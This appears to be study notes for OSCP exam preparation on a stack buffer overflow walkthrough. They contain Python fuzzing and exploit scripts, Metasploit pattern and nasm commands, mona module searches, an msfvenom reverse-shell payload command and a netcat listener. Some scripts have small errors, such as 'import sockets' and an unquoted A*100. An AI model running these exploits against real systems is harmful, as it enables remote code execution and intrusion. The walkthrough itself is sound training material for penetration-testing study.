Page cover image

Buffer Overflow

An absolute essential to master, this topic guarantees 25 points in the OSCP. Credits to the Cyber Mentor for his outstanding playlist.

Intro to Buffer Overflow

  • if buffer space properly sanitizes inputs, inputs reach the EBP and stops, do not reach the EIP

  • EIP can be used to point to directions tat we instruct > point to malicious codes that we inject

  • Reaching EIP controls Stack > control pointer > reverse shell

8 Steps:

  1. Spiking - to find vulnerable part of programme

  2. Fuzzing - send bunch of random characters to vulnerability found

  3. Find the offset - at what point did the program break

  4. Overwrite EIP (Pointer) - use offset to overwrite EIP

  5. Find bad characters

  6. Find the right module

  7. Generate Shellcode

  8. Point EIP to shellcode

1. Spiking

  • find the valid commands on the vuln server

  • Tool used for spike:

generic_send_tcp host port spike_script <some variable, can be left blank>
  • spike script used to readline() then enter command along with the spiking variables

readline();
string("<COMMAND> ");
string_variable("0");

2. Fuzzing

write a script to fuzz the vulnerability found by spiking in step 2, then logging the amount of bytes or length of buffer sent to crash the program

#!/usr/bin/python
import sys
import socket
from time import sleep 

# sys, socket for connecting to vuln IP address
# sleep is to give 1 sec btwn each command sent

buffer = A*100

while True:
                try:
                                s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# This sample program (line above) , based on the one in the standard library documentation,
# receives incoming messages and echos them back to the sender. It starts by 
# creating a TCP/IP socket.
                
                                s.connect(('IP OF VULN MACHINE' ,PORT))
                
                                s.send(('INSERT Command of vulnerability found in spike' + buffer))
                                s.close()
                                sleep(1)
                                buffer = buffer + A*100 
#This while loop runs as long as connection is available (havent crash)
                except:
                                print("Fuzzing crashed at " + str(len(buffer)) + " bytes.")
                                sys.exit()

info for connecting via sockets TCP/IP: https://pymotw.com/2/socket/tcp.html

3. Finding the Offset

Basically looking for where we overwrite the EIP, so we can control the stack.

Tool used will be : pattern_create by metasploit

#kali machine

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <insert byte of buffer overflow>

#this will generate a pattern of the specified length for copy and pasting into script
  • copy the generated pattern of specified length

import sys
import socket

offet = " <Paste the generated pattern of specified bytes>"

try:
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('Same IP of vuln server' , port))
    s.send(('Command of vulnerability found in spiking ' + offset))
    s.close()
    
except:
#this is for backup, error feedback in case
    print("Error connecting to server")
    s.exit()

Now we check the immunity debugger and run the script with offset pattern

Notice the offset has went beyond the EIP and even to the ESP (too far)

  • Base on above, we can see the pattern for EIP is 386F4337

  • Go back to linux attack machine and search for this pattern in the pattern create

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 386F4337
#switch of q for our finding

Now it tells you where the EXACT EIP is, at 2003 bytes!

So what we have gathered so far: There is 2003 bytes before you get to EIP, and the EIP is exactly 4 bytes long (always). So we need to overwrite bytes 2004 to 2007.

  • Now modify our same python script, no need offset anymore

Shellcode Script

import sys
import socket

shellcode = "A"*2003 + "B"*4 
#overwrites the EIP 4 bytes
try:
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('IP of vuln', port))
    s.send(('Command of vuln ' + shellcode))
    s.close()
except:
    print("Error something is wrong?")
    s.exit()
  • Check the Immunity Debugger, note that all registers output are in HEX

  • AAAA will be represented by 41414141 and BBBB by 42424242 and so on

  • Here we have the representation in immunity debugger

Notice that EBP overwritten with AAAA and EIP with BBBB, EIP controlled!!

4. Finding Bad Characters (Eye test the Hexdump)

  • When we generate shellcode, some chars are bad for shellcode (act up) etc. NULL char x00

  • google badcharacters immunity debugger, PASTE into our shell script

import sys
import sockets

badchar = ("\x01\x02\x03 .... \xfe\xff")
# bad char are actually way longer, ignore the ....

shellcode = 'A'*2003 + 'B'*4 + badchar
try:
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('IP of vuln', port))
    s.send(('Command of vuln ' + shellcode))
    s.close()
except:
    print("Error something is wrong?")
    s.exit()
  • now look at debugger hexdump (right click ESP > follow dump), check that all characters under badchar are present (nothing wrong)

  • If there are badchar, they will turn up missing (etc. taken as a command)

No badchar, scan till FF the last char xff

  • an example with bad characters is shown below

Circled are the missing bad characters, you have to take down which are missing

5. Finding the right Module

  • looking for DLL or similar inside a program with no memory protections (no safeSEH, no ASLR etc)

  • Tool: Mona.py on git hub

Mona.py

Download Mona.py into the folder > Local Disk (C:)/Program Files x86/Immunity Inc/Immunity Debugger/PyCommands

  • go to type "!mona module" in immunity debugger (the type bar at the very bottom), hit enter

The goal is to find DLL with all FALSE (no memory protection), in the above example it is essFunc.dll

Find upcode equivalent of Jump

(To convert assembly language to hexcode)

  • Jump command is "JMP ESP", type it into Nasm interactive > hexcode equivalent will be given, in this case, "FFE4"

#kali linux machine

locate nasm_shell
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm> JMP ESP
00000000 FFE4         jmp esp
nasm>
  • go back immunity debugger, type into typebar <!mona find -s "\xff\xe4" -m essfunc.dll>

Note the numerous return addresses listed, note them down

  • debugger returns the return addresses with search string \xff\xe4 in the module essfunc.dll (etc. 0x625011af)

NOW ENTER RETURN ADDRESS INTO SHELL CODE!!

Computer Architecture - Registers

The CPU has what is called “registers”. They are pretty much a very fast but limited memory on the microprocessor. The microprocessor can access these registers and retrieve the data way faster than it could do from RAM. The problem is, there are only a few of them and some registers are not general purpose, meaning they can’t really be used for everything. What can’t be fitted in the registers, lies in the RAM.

The IA-32 CPUs have 8 general purpose 32-Bit registers. Of course, these CPUs have way more registers than that, but only eight of them are truly general purpose. These registers are very important and you will find them scattered all over the place in the assembly output of any binary disassembler. A list of the available registers and a brief description is provided below.

EAX, EBX, ECX, and EDX are general purpose registers used for various operations. ECX is sometimes used as a counter by repetitive instructions.

EBP and ESP are the Stack Base Pointer and the Stack Pointer. Together, these two create the Stack Frame.

EDI and ESI are the Destination Index and Source Index registers and is used when dealing with the memory copying.

Jumpcode Shell script

import sys
import sockets

#Now replace B and badchar with return address 0x625011af
shellcode = 'A'*2003 + "\xaf\x11\x50\x62"
try:
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('IP of vuln', port))
    s.send(('Command of vuln ' + shellcode))
    s.close()
except:
    print("Error something is wrong?")
    s.exit()
  • go back to immunity debugger, click top button arrow > to follow the expression of the return address

  • highlight this line and hit F2 to make breakpoint, so the program stops at JUMPCODE

  • now run your JUMPCODE SHELL SCRIPT

Perfect now we have breakpoint at the EIP return address, now we ready to enter our shellcode as we have control of the pointer now!

6. Generate Shellcode

# your kali machine

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.20.131 LPORT=4444 EXITFUNC=thread -f c -a x86 -b "\x00"            

Flags for MSFVENOM

  • -b flag is for bad characters, by default is the NULL byte \x00, add on your other bad characters if necessary

  • -p for payload (windows machine, shell )

  • -a for assembly architecture

  • -f for file type

After generating it, copy it into python shell script we using, do take note of payload size (etc limited bytes left)

add the overflow payload behind the return address with a little padding "\x90" * 32 (NOPs - no operation, might need to play around with padding size, this prevents interference between return address and payload)

  • set up netcat <nc -lvnp 4444>

  • run payload script! Get reverse shell :)

Last updated